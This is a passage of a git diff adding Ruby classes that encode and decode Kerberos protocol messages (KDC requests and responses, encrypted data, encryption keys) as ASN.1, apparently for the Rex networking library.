@return [OpenSSL::ASN1::OctetString] + def encode_checksum + OpenSSL::ASN1::OctetString.new(checksum) + end + end + end + end + end +end \ No newline at end of file diff --git a/lib/rex/proto/kerberos/model/element.rb b/lib/rex/proto/kerberos/model/element.rb new file mode 100644 index 0000000000..865bc5fbdf --- /dev/null +++ b/lib/rex/proto/kerberos/model/element.rb @@ -0,0 +1,67 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Kerberos + module Model + # This class provides a representation of a principal, an asset (e.g., a + # workstation user or a network server) on a network. + class Element + + include Rex::Proto::Kerberos::Crypto + include Rex::Proto::Kerberos::Model + + def self.attr_accessor(*vars) + @attributes ||= [] + @attributes.concat vars + super(*vars) + end + + # Retrieves the element class fields + # + # @return [Array] + def self.attributes + @attributes + end + + def self.decode(input) + elem = self.new + elem.decode(input) + end + + def initialize(options = {}) + self.class.attributes.each do |attr| + if options.has_key?(attr) + m = (attr.to_s + '=').to_sym + self.send(m, options[attr]) + end + end + end + + # Retrieves the element instance fields + # + # @return [Array] + def attributes + self.class.attributes + end + + # Decodes the Rex::Proto::Kerberos::Model::Element from the input. This + # method has been designed to be overridden by subclasses. + # + # @raise [NoMethodError] + def decode(input) + raise ::NoMethodError, 'Method designed to be overridden' + end + + # Encodes the Rex::Proto::Kerberos::Model::Element into an ASN.1 String. This + # method has been designed to be overridden by subclasses. + # + # @raise [NoMethodError] + def encode + raise ::NoMethodError, 'Method designed to be overridden' + end + end + end + end + end +end \ No newline at end of file diff --git a/lib/rex/proto/kerberos/model/enc_kdc_response.rb b/lib/rex/proto/kerberos/model/enc_kdc_response.rb new file mode 100644 index 0000000000..dd8868f68e --- /dev/null +++ b/lib/rex/proto/kerberos/model/enc_kdc_response.rb @@ -0,0 +1,215 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Kerberos + module Model + class EncKdcResponse < Element + # @!attribute key + # @return [Rex::Proto::Kerberos::Model::EncryptionKey] The session key + attr_accessor :key + # @!attribute last_req + # @return [Array<Rex::Proto::Kerberos::Model::LastRequest>] This field is returned by the KDC and specifies the time(s) + # of the last request by a principal + attr_accessor :last_req + # @!attribute nonce + # @return [Fixnum] random number + attr_accessor :nonce + # @!attribute key_expiration + # @return [Time] The key-expiration field is part of the response from the + # KDC and specifies the time that the client's secret key is due to expire + attr_accessor :key_expiration + # @!attribute flags + # @return [Fixnum] This field indicates which of various options were used or + # requested when the ticket was issued + attr_accessor :flags + # @!attribute auth_time + # @return [Time] the time of initial authentication for the named principal + attr_accessor :auth_time + # @!attribute start_time + # @return [Time] Specifies the time after which the ticket is valid + attr_accessor :start_time + # @!attribute end_time + # @return [Time] This field contains the time after which the ticket will + # not be honored (its expiration time) + attr_accessor :end_time + # @!attribute renew_till + # @return [Time] This field is only present in tickets that have the + # RENEWABLE flag set in the flags field. It indicates the maximum + # endtime that may be included in a renewal + attr_accessor :renew_till + # @!attribute srealm + # @return [String] The realm part of the server's principal identifier + attr_accessor :srealm + # @!attribute sname + # @return [Rex::Proto::Kerberos::Model::PrincipalName] The name part of the server's identity + attr_accessor :sname + + # Decodes the Rex::Proto::Kerberos::Model::EncKdcResponse from an input + # + # @param input [String, OpenSSL::ASN1::ASN1Data] the input to decode from + # @return [self] if decoding succeeds + # @raise [RuntimeError] if decoding doesn't succeed + def decode(input) + case input + when String + decode_string(input) + when OpenSSL::ASN1::ASN1Data + decode_asn1(input) + else + raise ::RuntimeError, 'Failed to decode EncKdcResponse, invalid input' + end + + self + end + + # Rex::Proto::Kerberos::Model::EncKdcResponse encoding isn't supported + # + # @raise [NotImplementedError] + def encode + raise ::NotImplementedError, 'EncKdcResponse encoding not supported' + end + + private + + # Decodes a Rex::Proto::Kerberos::Model::EncKdcResponse from an String + # + # @param input [String] the input to decode from + def decode_string(input) + asn1 = OpenSSL::ASN1.decode(input) + + decode_asn1(asn1) + end + + # Decodes a Rex::Proto::Kerberos::Model::EncKdcResponse + # + # @param input [OpenSSL::ASN1::ASN1Data] the input to decode from + # @raise [RuntimeError] if decoding doesn't succeed + def decode_asn1(input) + input.value[0].value.each do |val| + case val.tag + when 0 + self.key = decode_key(val) + when 1 + self.last_req = decode_last_req(val) + when 2 + self.nonce = decode_nonce(val) + when 3 + self.key_expiration = decode_key_expiration(val) + when 4 + self.flags = decode_flags(val) + when 5 + self.auth_time = decode_auth_time(val) + when 6 + self.start_time = decode_start_time(val) + when 7 + self.end_time = decode_end_time(val) + when 8 + self.renew_till = decode_renew_till(val) + when 9 + self.srealm = decode_srealm(val) + when 10 + self.sname = decode_sname(val) + else + raise ::RuntimeError, 'Failed to decode ENC-KDC-RESPONSE SEQUENCE' + end + end + end + + # Decodes the key from an OpenSSL::ASN1::ASN1Data + # + # @param input [OpenSSL::ASN1::ASN1Data] the input to decode from + # @return [EncryptionKey] + def decode_key(input) + Rex::Proto::Kerberos::Model::EncryptionKey.decode(input.value[0]) + end + + # Decodes the last_req from an OpenSSL::ASN1::ASN1Data + # + # @param input [OpenSSL::ASN1::ASN1Data] the input to decode from + # @return [Array<Rex::Proto::Kerberos::Model::LastRequest>] + def decode_last_req(input) + last_requests = [] + input.value[0].value.each do |last_request| + last_requests << Rex::Proto::Kerberos::Model::LastRequest.decode(last_request) + end + + last_requests + end + + # Decodes the nonce field + # + # @param input [OpenSSL::ASN1::ASN1Data] the input to decode from + # @return [Fixnum] + def decode_nonce(input) + input.value[0].value.to_i + end + + # Decodes the key_expiration field + # + # @param input [OpenSSL::ASN1::ASN1Data] the input to decode from + # @return [Time] + def decode_key_expiration(input) + input.value[0].value + end + + # Decodes the flags field + # + # @param input [OpenSSL::ASN1::ASN1Data] the input to decode from + # @return [Fixnum] + def decode_flags(input) + input.value[0].value.to_i + end + + # Decodes the auth_time field + # + # @param input [OpenSSL::ASN1::ASN1Data] the input to decode from + # @return [Time] + def decode_auth_time(input) + input.value[0].value + end + + # Decodes the start_time field + # + # @param input [OpenSSL::ASN1::ASN1Data] the input to decode from + # @return [Time] + def decode_start_time(input) + input.value[0].value + end + + # Decodes the end_time field + # + # @param input [OpenSSL::ASN1::ASN1Data] the input to decode from + # @return [Time] + def decode_end_time(input) + input.value[0].value + end + + # Decodes the renew_till field + # + # @param input [OpenSSL::ASN1::ASN1Data] the input to decode from + # @return [Time] + def decode_renew_till(input) + input.value[0].value + end + + # Decodes the srealm field + # + # @param input [OpenSSL::ASN1::ASN1Data] the input to decode from + # @return [String] + def decode_srealm(input) + input.value[0].value + end + + # Decodes the sname field + # + # @param input [OpenSSL::ASN1::ASN1Data] the input to decode from + # @return [Rex::Proto::Kerberos::Type::PrincipalName] + def decode_sname(input) + Rex::Proto::Kerberos::Model::PrincipalName.decode(input.value[0]) + end + end + end + end + end +end \ No newline at end of file diff --git a/lib/rex/proto/kerberos/model/encrypted_data.rb b/lib/rex/proto/kerberos/model/encrypted_data.rb new file mode 100644 index 0000000000..17425adb35 --- /dev/null +++ b/lib/rex/proto/kerberos/model/encrypted_data.rb @@ -0,0 +1,171 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Kerberos + module Model + # This class provides a representation of an encrypted message. + class EncryptedData < Element + # @!attribute name_type + # @return [Fixnum] The encryption algorithm + attr_accessor :etype + # @!attribute kvno + # @return [Fixnum] The version number of the key + attr_accessor :kvno + # @!attribute cipher + # @return [String] The enciphered text + attr_accessor :cipher + + # Decodes a Rex::Proto::Kerberos::Model::EncryptedData + # + # @param input [String, OpenSSL::ASN1::Sequence] the input to decode from + # @return [self] + # @raise [RuntimeError] if decoding doesn't succeed + def decode(input) + case input + when String + decode_string(input) + when OpenSSL::ASN1::Sequence + decode_asn1(input) + else + raise ::RuntimeError, 'Failed to decode EncryptedData Name, invalid input' + end + + self + end + + # Encodes a Rex::Proto::Kerberos::Model::EncryptedData into an ASN.1 String + # + # @return [String] + def encode + elems = [] + etype_asn1 = OpenSSL::ASN1::ASN1Data.new([encode_etype], 0, :CONTEXT_SPECIFIC) + elems << etype_asn1 + + if kvno + kvno_asn1 = OpenSSL::ASN1::ASN1Data.new([encode_kvno], 1, :CONTEXT_SPECIFIC) + elems << kvno_asn1 + end + + cipher_asn1 = OpenSSL::ASN1::ASN1Data.new([encode_cipher], 2, :CONTEXT_SPECIFIC) + elems << cipher_asn1 + + seq = OpenSSL::ASN1::Sequence.new(elems) + + seq.to_der + end + + # Decrypts the cipher with etype encryption schema + # + # @param key [String] the key to decrypt + # @param msg_type [Fixnum] the message type + # @return [String] the decrypted `cipher` + # @raise [RuntimeError] if decryption doesn't succeed + # @raise [NotImplementedError] if encryption isn't supported + def decrypt(key, msg_type) + if cipher.nil? || cipher.empty? + return '' + end + + res = '' + case etype + when RC4_HMAC + res = decrypt_rc4_hmac(cipher, key, msg_type) + raise ::RuntimeError, 'EncryptedData failed to decrypt' if res.length < 8 + res = res[8, res.length - 1] + else + raise ::NotImplementedError, 'EncryptedData schema is not supported' + end + + res + end + + private + + # Encodes the etype + # + # @return [OpenSSL::ASN1::Integer] + def encode_etype + bn = OpenSSL::BN.new(etype.to_s) + int = OpenSSL::ASN1::Integer.new(bn) + + int + end + + # Encodes the kvno + # + # @raise [RuntimeError] + def encode_kvno + bn = OpenSSL::BN.new(kvno.to_s) + int = OpenSSL::ASN1::Integer.new(bn) + + int + end + + # Encodes the cipher + # + # @return [OpenSSL::ASN1::OctetString] + def encode_cipher + OpenSSL::ASN1::OctetString.new(cipher) + end + + # Decodes a Rex::Proto::Kerberos::Model::EncryptedData from an String + # + # @param input [String] the input to decode from + def decode_string(input) + asn1 = OpenSSL::ASN1.decode(input) + + decode_asn1(asn1) + end + + # Decodes a Rex::Proto::Kerberos::Model::EncryptedData from an + # OpenSSL::ASN1::Sequence + # + # @param input [OpenSSL::ASN1::Sequence] the input to decode from + # @raise [RuntimeError] if decoding doesn't succeed + def decode_asn1(input) + seq_values = input.value + + seq_values.each do |val| + case val.tag + when 0 + self.etype = decode_etype(val) + when 1 + self.kvno = decode_kvno(val) + when 2 + self.cipher = decode_cipher(val) + else + raise ::RuntimeError, 'Failed to decode EncryptedData SEQUENCE' + end + end + end + + # Decodes the etype from an OpenSSL::ASN1::ASN1Data + # + # @param input [OpenSSL::ASN1::ASN1Data] the input to decode from + # @return [Fixnum] + def decode_etype(input) + input.value[0].value.to_i + end + + # Decodes the kvno from an OpenSSL::ASN1::ASN1Data + # + # @param input [OpenSSL::ASN1::ASN1Data] the input to decode from + # @return [Fixnum] + def decode_kvno(input) + input.value[0].value.to_i + end + + # Decodes the cipher from an OpenSSL::ASN1::ASN1Data + # + # @param input [OpenSSL::ASN1::ASN1Data] the input to decode from + # @return [Sting] + def decode_cipher(input) + input.value[0].value + end + + end + end + end + end +end \ No newline at end of file diff --git a/lib/rex/proto/kerberos/model/encryption_key.rb b/lib/rex/proto/kerberos/model/encryption_key.rb new file mode 100644 index 0000000000..b185d80129 --- /dev/null +++ b/lib/rex/proto/kerberos/model/encryption_key.rb @@ -0,0 +1,106 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Kerberos + module Model + # This class provides a representation of a Kerberos EncryptionKey data + # definition + class EncryptionKey < Element + + # @!attribute key + # @return [Fixnum] The type of encryption key + attr_accessor :type + # @!attribute value + # @return [String] the key itself + attr_accessor :value + + # Decodes a Rex::Proto::Kerberos::Model::EncryptionKey + # + # @param input [String, OpenSSL::ASN1::Sequence] the input to decode from + # @return [self] if decoding succeeds + # @raise [RuntimeError] if decoding doesn't succeed + def decode(input) + case input + when String + decode_string(input) + when OpenSSL::ASN1::Sequence + decode_asn1(input) + else + raise ::RuntimeError, 'Failed to decode EncryptionKey, invalid input' + end + + self + end + + # Encodes a Rex::Proto::Kerberos::Model::EncryptionKey into an + # ASN.1 String + # + # @return [String] + def encode + elems = [] + elems << OpenSSL::ASN1::ASN1Data.new([encode_type], 0, :CONTEXT_SPECIFIC) + elems << OpenSSL::ASN1::ASN1Data.new([encode_value], 1, :CONTEXT_SPECIFIC) + seq = OpenSSL::ASN1::Sequence.new(elems) + + seq.to_der + end + + private + + # Decodes a Rex::Proto::Kerberos::Model::EncryptionKey from an String + # + # @param input [String] the input to decode from + def decode_string(input) + asn1 = OpenSSL::ASN1.decode(input) + + decode_asn1(asn1) + end + + # Decodes a Rex::Proto::Kerberos::Model::EncryptionKey from an + # OpenSSL::ASN1::Sequence + # + # @param input [OpenSSL::ASN1::Sequence] the input to decode from + def decode_asn1(input) + seq_values = input.value + self.type = decode_type(seq_values[0]) + self.value = decode_value(seq_values[1]) + end + + # Decodes the type from an OpenSSL::ASN1::ASN1Data + # + # @param input [OpenSSL::ASN1::ASN1Data] the input to decode from + # @return [Fixnum] + def decode_type(input) + input.value[0].value.to_i + end + + # Decodes the value from an OpenSSL::ASN1::ASN1Data + # + # @param input [OpenSSL::ASN1::ASN1Data] the input to decode from + # @return [String] + def decode_value(input) + input.value[0].value + end + + # Encodes the type field + # + # @return [OpenSSL::ASN1::Integer] + def encode_type + bn = OpenSSL::BN.new(type.to_s) + int = OpenSSL::ASN1::Integer.new(bn) + + int + end + + # Encodes the value field + # + # @return [OpenSSL::ASN1::OctetString] + def encode_value + OpenSSL::ASN1::OctetString.new(value) + end + end + end + end + end +end \ No newline at end of file diff --git a/lib/rex/proto/kerberos/model/kdc_request.rb b/lib/rex/proto/kerberos/model/kdc_request.rb new file mode 100644 index 0000000000..23fa03df5c --- /dev/null +++ b/lib/rex/proto/kerberos/model/kdc_request.rb @@ -0,0 +1,166 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Kerberos + module Model + # This class provides a representation of a Kerberos KDC-REQ (request) data + # definition + class KdcRequest < Element + # @!attribute pvno + # @return [Fixnum] The protocol version number + attr_accessor :pvno + # @!attribute msg_type + # @return [Fixnum] The type of a protocol message + attr_accessor :msg_type + # @!attribute pa_data + # @return [Array<Rex::Proto::Kerberos::Model::PreAuthData>] Authentication information which may + # be needed before credentials can be issued or decrypted + attr_accessor :pa_data + # @!attribute req_body + # @return [Rex::Proto::Kerberos::Model:::KdcRequestBody] The request body + attr_accessor :req_body + + # Decodes the Rex::Proto::Kerberos::Model::KdcRequest from an input + # + # @param input [String, OpenSSL::ASN1::ASN1Data] the input to decode from + # @return [self] if decoding succeeds + # @raise [RuntimeError] if decoding doesn't succeed + def decode(input) + case input + when String + decode_string(input) + when OpenSSL::ASN1::ASN1Data + decode_asn1(input) + else + raise ::RuntimeError, 'Failed to decode KdcRequest, invalid input' + end + + self + end + + # Encodes the Rex::Proto::Kerberos::Model::KdcRequest into an ASN.1 String + # + # @return [String] + def encode + pvno_asn1 = OpenSSL::ASN1::ASN1Data.new([encode_pvno], 1, :CONTEXT_SPECIFIC) + msg_type_asn1 = OpenSSL::ASN1::ASN1Data.new([encode_msg_type], 2, :CONTEXT_SPECIFIC) + pa_data_asn1 = OpenSSL::ASN1::ASN1Data.new([encode_pa_data], 3, :CONTEXT_SPECIFIC) + req_body_asn1 = OpenSSL::ASN1::ASN1Data.new([encode_req_body], 4, :CONTEXT_SPECIFIC) + seq = OpenSSL::ASN1::Sequence.new([pvno_asn1, msg_type_asn1, pa_data_asn1, req_body_asn1]) + seq_asn1 = OpenSSL::ASN1::ASN1Data.new([seq], msg_type, :APPLICATION) + seq_asn1.to_der + end + + private + + # Encodes the pvno field + # + # @return [OpenSSL::ASN1::Integer] + def encode_pvno + bn = OpenSSL::BN.new(pvno.to_s) + int = OpenSSL::ASN1::Integer.new(bn) + + int + end + + # Encodes the msg_type field + # + # @return [OpenSSL::ASN1::Integer] + def encode_msg_type + bn = OpenSSL::BN.new(msg_type.to_s) + int = OpenSSL::ASN1::Integer.new(bn) + + int + end + + # Encodes the pa_data field + # + # @return [String] + def encode_pa_data + elems = [] + pa_data.each do |data| + elems << data.encode + end + + OpenSSL::ASN1::Sequence.new(elems) + end + + # Encodes the req_body field + # + # @return [String] + def encode_req_body + req_body.encode + end + + # Decodes a Rex::Proto::Kerberos::Model::KdcRequest from an String + # + # @param input [String] the input to decode from + def decode_string(input) + asn1 = OpenSSL::ASN1.decode(input) + + decode_asn1(asn1) + end + + # Decodes a Rex::Proto::Kerberos::Model::KdcRequest + # + # @param input [OpenSSL::ASN1::ASN1Data] the input to decode from + # @raise [RuntimeError] if decoding doesn't succeed + def decode_asn1(input) + input.value[0].value.each do |val| + case val.tag + when 1 + self.pvno = decode_asn1_pvno(val) + when 2 + self.msg_type = decode_asn1_msg_type(val) + when 3 + self.pa_data = decode_asn1_pa_data(val) + when 4 + self.req_body = decode_asn1_req_body(val) + else + raise ::RuntimeError, 'Filed to decode KdcRequest SEQUENCE' + end + end + end + + # Decodes the pvno from an OpenSSL::ASN1::ASN1Data + # + # @param input [OpenSSL::ASN1::ASN1Data] the input to decode from + # @return [Fixnum] + def decode_asn1_pvno(input) + input.value[0].value.to_i + end + + # Decodes the msg_type from an OpenSSL::ASN1::ASN1Data + # + # @param input [OpenSSL::ASN1::ASN1Data] the input to decode from + # @return [Fixnum] + def decode_asn1_msg_type(input) + input.value[0].value.to_i + end + + # Decodes the pa_data from an OpenSSL::ASN1::ASN1Data + # + # @param input [OpenSSL::ASN1::ASN1Data] the input to decode from + # @return [Array<Rex::Proto::Kerberos::Model::PreAuthData>] + def decode_asn1_pa_data(input) + pre_auth = [] + input.value[0].value.each do |pre_auth_data| + pre_auth << Rex::Proto::Kerberos::Model::PreAuthData.decode(pre_auth_data) + end + + pre_auth + end + + # Decodes the req_body from an OpenSSL::ASN1::ASN1Data + # + # @param input [OpenSSL::ASN1::ASN1Data] the input to decode from + # @return [Rex::Proto::Kerberos::Model::KdcRequestBody] + def decode_asn1_req_body(input) + Rex::Proto::Kerberos::Model::KdcRequestBody.decode(input.value[0]) + end + end + end + end + end +end \ No newline at end of file diff --git a/lib/rex/proto/kerberos/model/kdc_request_body.rb b/lib/rex/proto/kerberos/model/kdc_request_body.rb new file mode 100644 index 0000000000..d9f2baacf7 --- /dev/null +++ b/lib/rex/proto/kerberos/model/kdc_request_body.rb @@ -0,0 +1,315 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Kerberos + module Model + # This class provides a representation of a Kerberos KDC-REQ-BODY (request body) data + # definition + class KdcRequestBody < Element + # @!attribute options + # @return [Fixnum] The ticket flags + attr_accessor :options + # @!attribute cname + # @return [Rex::Proto::Kerberos::Model::PrincipalName] The name part of the client's principal identifier + attr_accessor :cname + # @!attribute realm + # @return [String] The realm part of the server's principal identifier + attr_accessor :realm + # @!attribute sname + # @return [Rex::Proto::Kerberos::Model::PrincipalName] The name part of the server's identity + attr_accessor :sname + # @!attribute from + # @return [Time] Start time when the ticket is to be postdated + attr_accessor :from + # @!attribute till + # @return [Time] Expiration date requested by the client + attr_accessor :till + # @!attribute rtime + # @return [Time] Optional requested renew-till time + attr_accessor :rtime + # @!attribute nonce + # @return [Fixnum] random number + attr_accessor :nonce + # @!attribute etype + # @return [Array<Fixnum>] The desired encryption algorithm to be used in the response + attr_accessor :etype + # @!attribute enc_auth_data + # @return [Rex::Proto::Kerberos::Model::EncryptedData] An encoding of the desired authorization-data encrypted + attr_accessor :enc_auth_data + + # Decodes the Rex::Proto::Kerberos::Model::KdcRequestBody attributes from input + # + # @param input [String, OpenSSL::ASN1::Sequence] the input to decode from + # @return [self] if decoding succeeds + # @raise [RuntimeError] if decoding doesn't succeed + def decode(input) + case input + when String + decode_string(input) + when OpenSSL::ASN1::Sequence + decode_asn1(input) + else + raise ::RuntimeError, 'Failed to decode KdcRequestBody, invalid input' + end + + self + end + + # Encodes the Rex::Proto::Kerberos::Model::KdcRequestBody into an ASN.1 String + # + # @return [String] + def encode + elems = [] + + elems << OpenSSL::ASN1::ASN1Data.new([encode_options], 0, :CONTEXT_SPECIFIC) if options + elems << OpenSSL::ASN1::ASN1Data.new([encode_cname], 1, :CONTEXT_SPECIFIC) if cname + elems << OpenSSL::ASN1::ASN1Data.new([encode_realm], 2, :CONTEXT_SPECIFIC) if realm + elems << OpenSSL::ASN1::ASN1Data.new([encode_sname], 3, :CONTEXT_SPECIFIC) if sname + elems << OpenSSL::ASN1::ASN1Data.new([encode_from], 4, :CONTEXT_SPECIFIC) if from + elems << OpenSSL::ASN1::ASN1Data.new([encode_till], 5, :CONTEXT_SPECIFIC) if till + elems << OpenSSL::ASN1::ASN1Data.new([encode_rtime], 6, :CONTEXT_SPECIFIC) if rtime + elems << OpenSSL::ASN1::ASN1Data.new([encode_nonce], 7, :CONTEXT_SPECIFIC) if nonce + elems << OpenSSL::ASN1::ASN1Data.new([encode_etype], 8, :CONTEXT_SPECIFIC) if etype + elems << OpenSSL::ASN1::ASN1Data.new([encode_enc_auth_data], 10, :CONTEXT_SPECIFIC) if enc_auth_data + + seq = OpenSSL::ASN1::Sequence.new(elems) + + seq.to_der + end + + # Makes a checksum from the Rex::Proto::Kerberos::Model::KdcRequestBody + # + # @param etype [Fixnum] the crypto schema to checksum + # @return [String] the checksum + # @raise [NotImplementedError] if the encryption schema isn't supported + def checksum(etype) + data = self.encode + + res = '' + case etype + when RSA_MD5 + res = checksum_rsa_md5(data) + else + raise ::NotImplementedError, 'EncryptedData schema is not supported' + end + + res + end + + private + + # Encodes the options + # + # @return [OpenSSL::ASN1::BitString] + def encode_options + OpenSSL::ASN1::BitString.new([options].pack('N')) + end + + # Encodes the cname + # + # @return [String] + def encode_cname + cname.encode + end + + # Encodes the realm + # + # @return [OpenSSL::ASN1::GeneralString] + def encode_realm + OpenSSL::ASN1::GeneralString.new(realm) + end + + # Encodes the sname + # + # @return [String] + def encode_sname + sname.encode + end + + # Encodes the from + # + # @return [OpenSSL::ASN1::GeneralizedTime] + def encode_from + OpenSSL::ASN1::GeneralizedTime.new(from) + end + + # Encodes the till + # + # @return [OpenSSL::ASN1::GeneralizedTime] + def encode_till + OpenSSL::ASN1::GeneralizedTime.new(till) + end + + # Encodes the rtime + # + # @return [OpenSSL::ASN1::GeneralizedTime] + def encode_rtime + OpenSSL::ASN1::GeneralizedTime.new(rtime) + end + + # Encodes the nonce + # + # @return [OpenSSL::ASN1::Integer] + def encode_nonce + bn = OpenSSL::BN.new(nonce.to_s) + int = OpenSSL::ASN1::Integer.new(bn) + + int + end + + # Encodes the etype + # + # @return [OpenSSL::ASN1::Sequence] + def encode_etype + encoded_types = [] + etype.each do |member| + bn = OpenSSL::BN.new(member.to_s) + int = OpenSSL::ASN1::Integer.new(bn) + encoded_types << int + end + + OpenSSL::ASN1::Sequence.new(encoded_types) + end + + # Encodes the enc_auth_data + # + # @return [String] + def encode_enc_auth_data + enc_auth_data.encode + end + + # Decodes a Rex::Proto::Kerberos::Model::KdcRequestBody from an String + # + # @param input [String] the input to decode from + # @raise [RuntimeError] if decoding doesn't succeed + def decode_string(input) + asn1 = OpenSSL::ASN1.decode(input) + + decode_asn1(asn1) + end + + # Decodes a Rex::Proto::Kerberos::Model::KdcRequestBody from an + # OpenSSL::ASN1::Sequence + # + # @param input [OpenSSL::ASN1::Sequence] the input to decode from + # @raise [RuntimeError] if decoding doesn't succeed + def decode_asn1(input) + seq_values = input.value + + seq_values.each do |val| + case val.tag + when 0 + self.options = decode_options(val) + when 1 + self.cname = decode_cname(val) + when 2 + self.realm = decode_realm(val) + when 3 + self.sname = decode_sname(val) + when 4 + self.from = decode_from(val) + when 5 + self.till = decode_till(val) + when 6 + self.rtime = decode_rtime(val) + when 7 + self.nonce = decode_nonce(val) + when 8 + self.etype = decode_etype(val) + when 10 + self.enc_auth_data = decode_enc_auth_data(val) + else + raise ::RuntimeError, 'Failed to decode KdcRequestBody SEQUENCE' + end + end + end + + # Decodes the options field + # + # @param input [OpenSSL::ASN1::ASN1Data] the input to decode from + # @return [Fixnum] + def decode_options(input) + input.value[0].value.unpack('N')[0] + end + + # Decodes the cname field + # + # @param input [OpenSSL::ASN1::ASN1Data] the input to decode from + # @return [Rex::Proto::Kerberos::Model::PrincipalName] + def decode_cname(input) + Rex::Proto::Kerberos::Model::PrincipalName.decode(input.value[0]) + end + + # Decodes the realm field + # + # @param input [OpenSSL::ASN1::ASN1Data] the input to decode from + # @return [String] + def decode_realm(input) + input.value[0].value + end + + # Decodes the sname field + # + # @param input [OpenSSL::ASN1::ASN1Data] the input to decode from + # @return [Rex::Proto::Kerberos::Model::PrincipalName] + def decode_sname(input) + Rex::Proto::Kerberos::Model::PrincipalName.decode(input.value[0]) + end + + # Decodes the from field + # + # @param input [OpenSSL::ASN1::ASN1Data] the input to decode from + # @return [Time] + def decode_from(input) + input.value[0].value + end + + # Decodes the till field + # + # @param input [OpenSSL::ASN1::ASN1Data] the input to decode from + # @return [Time] + def decode_till(input) + input.value[0].value + end + + # Decodes the rtime field + # + # @param input [OpenSSL::ASN1::ASN1Data] the input to decode from + # @return [Time] + def decode_rtime(input) + input.value[0].value + end + + # Decodes the nonce field + # + # @param input [OpenSSL::ASN1::ASN1Data] the input to decode from + # @return [Fixnum] + def decode_nonce(input) + input.value[0].value.to_i + end + + # Decodes the etype field + # + # @param input [OpenSSL::ASN1::ASN1Data] the input to decode from + # @return [Array<Fixnum>] + def decode_etype(input) + encs = [] + input.value[0].value.each do |enc| + encs << enc.value.to_i + end + encs + end + + # Decodes the enc_auth_data field + # + # @param input [OpenSSL::ASN1::ASN1Data] the input to decode from + # @return [Rex::Proto::Kerberos::Model::EncryptedData] + def decode_enc_auth_data(input) + Rex::Proto::Kerberos::Model::EncryptedData.decode(input.value[0]) + end + end + end + end + end +end \ No newline at end of file diff --git a/lib/rex/proto/kerberos/model/kdc_response.rb b/lib/rex/proto/kerberos/model/kdc_response.rb new file mode 100644 index 0000000000..02c119d5b7 --- /dev/null +++ b/lib/rex/proto/kerberos/model/kdc_response.rb @@ -0,0 +1,141 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Kerberos + module Model + # This class provides a representation of a Kerberos KDC-REQ (response) data + # definition + class KdcResponse < Element + # @!attribute pvno + # @return [Fixnum] The protocol version number + attr_accessor :pvno + # @!attribute msg_type + # @return [Fixnum] The type of a protocol message + attr_accessor :msg_type + # @!attribute crealm + # @return [String] The realm part of the client's principal identifier + attr_accessor :crealm + # @!attribute cname + # @return [Rex::Proto::Kerberos::Model::PrincipalName] The name part of the client's principal identifier + attr_accessor :cname + # @!attribute ticket + # @return [Rex::Proto::Kerberos::Model::Ticket] The issued ticket + attr_accessor :ticket + # @!attribute enc_part + # @return [Rex::Proto::Kerberos::Model::EncryptedData] The encrypted part of the response + attr_accessor :enc_part + + # Decodes the Rex::Proto::Kerberos::Model::KdcResponse from an input + # + # @param input [String, OpenSSL::ASN1::ASN1Data] the input to decode from + # @return [self] if decoding succeeds + # @raise [RuntimeError] if decoding doesn't succeed + def decode(input) + case input + when String + decode_string(input) + when OpenSSL::ASN1::ASN1Data + decode_asn1(input) + else + raise ::RuntimeError, 'Failed to decode KdcResponse, invalid input' + end + + self + end + + # Rex::Proto::Kerberos::Model::KdcResponse encoding isn't supported + # + # @raise [NotImplementedError] + def encode + raise ::NotImplementedError, 'KdcResponse encoding not supported' + end + + private + + # Decodes a Rex::Proto::Kerberos::Model::KdcResponse from an String + # + # @param input [String] the input to decode from + def decode_string(input) + asn1 = OpenSSL::ASN1.decode(input) + + decode_asn1(asn1) + end + + # Decodes a Rex::Proto::Kerberos::Model::KdcResponse + # + # @param input [OpenSSL::ASN1::ASN1Data] the input to decode from + # @raise [RuntimeError] if decoding doesn't succeed + def decode_asn1(input) + input.value[0].value.each do |val| + case val.tag + when 0 + self.pvno = decode_pvno(val) + when 1 + self.msg_type = decode_msg_type(val) + when 3 + self.crealm = decode_crealm(val) + when 4 + self.cname = decode_cname(val) + when 5 + self.ticket = decode_ticket(val) + when 6 + self.enc_part = decode_enc_part(val) + else + raise ::RuntimeError, 'Failed to decode KDC-RESPONSE SEQUENCE' + end + end + end + + # Decodes the pvno from an OpenSSL::ASN1::ASN1Data + # + # @param input [OpenSSL::ASN1::ASN1Data] the input to decode from + # @return [Fixnum] + def decode_pvno(input) + input.value[0].value.to_i + end + + # Decodes the msg_type from an OpenSSL::ASN1::ASN1Data + # + # @param input [OpenSSL::ASN1::ASN1Data] the input to decode from + # @return [Fixnum] + def decode_msg_type(input) + input.value[0].value.to_i + end + + # Decodes the crealm field + # + # @param input [OpenSSL::ASN1::ASN1Data] the input to decode from + # @return [String] + def decode_crealm(input) + input.value[0].value + end + + # Decodes the cname field + # + # @param input [OpenSSL::ASN1::ASN1Data] the input to decode from + # @return [Rex::Proto::Kerberos::Type::PrincipalName] + def decode_cname(input) + Rex::Proto::Kerberos::Model::PrincipalName.decode(input.value[0]) + end + + # Decodes the ticket field + # + # @param input [OpenSSL::ASN1::ASN1Data] the input to decode from + # @return [Rex::Proto::Kerberos::Type::Ticket] + def decode_ticket(input) + Rex::Proto::Kerberos::Model::Ticket.decode(input.value[0]) + end + + # Decodes the enc_part + # + # @param input [OpenSSL::ASN1::ASN1Data] the input to decode from + # @return [Rex::Proto::Kerberos::Model::EncryptedData] + def decode_enc_part(input) + Rex::Proto::Kerberos::Model::EncryptedData.decode(input.value[0]) + end + end + end + end + end +end \ No newline at end of file diff --git a/lib/rex/proto/kerberos/model/krb_error.rb b/lib/rex/proto/kerberos/model/krb_error.rb new file mode 100644 index 0000000000..e20772e86d --- /dev/null +++ b/lib/rex/proto/kerberos/model/krb_error.rb @@ -0,0 +1,219 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Kerberos + module Model + # This class provides a representation of a Kerberos KRB-ERROR (response error) + # message definition. + class KrbError < Element + # @!attribute pvno + # @return [Fixnum] The protocol version number + attr_accessor :pvno + # @!attribute msg_type + # @return [Fixnum] The type of a protocol message + attr_accessor :msg_type + # @!attribute ctime + # @return [Time] The current time of the client's host + attr_accessor :ctime + # @!attribute cusec + # @return [Fixnum] The 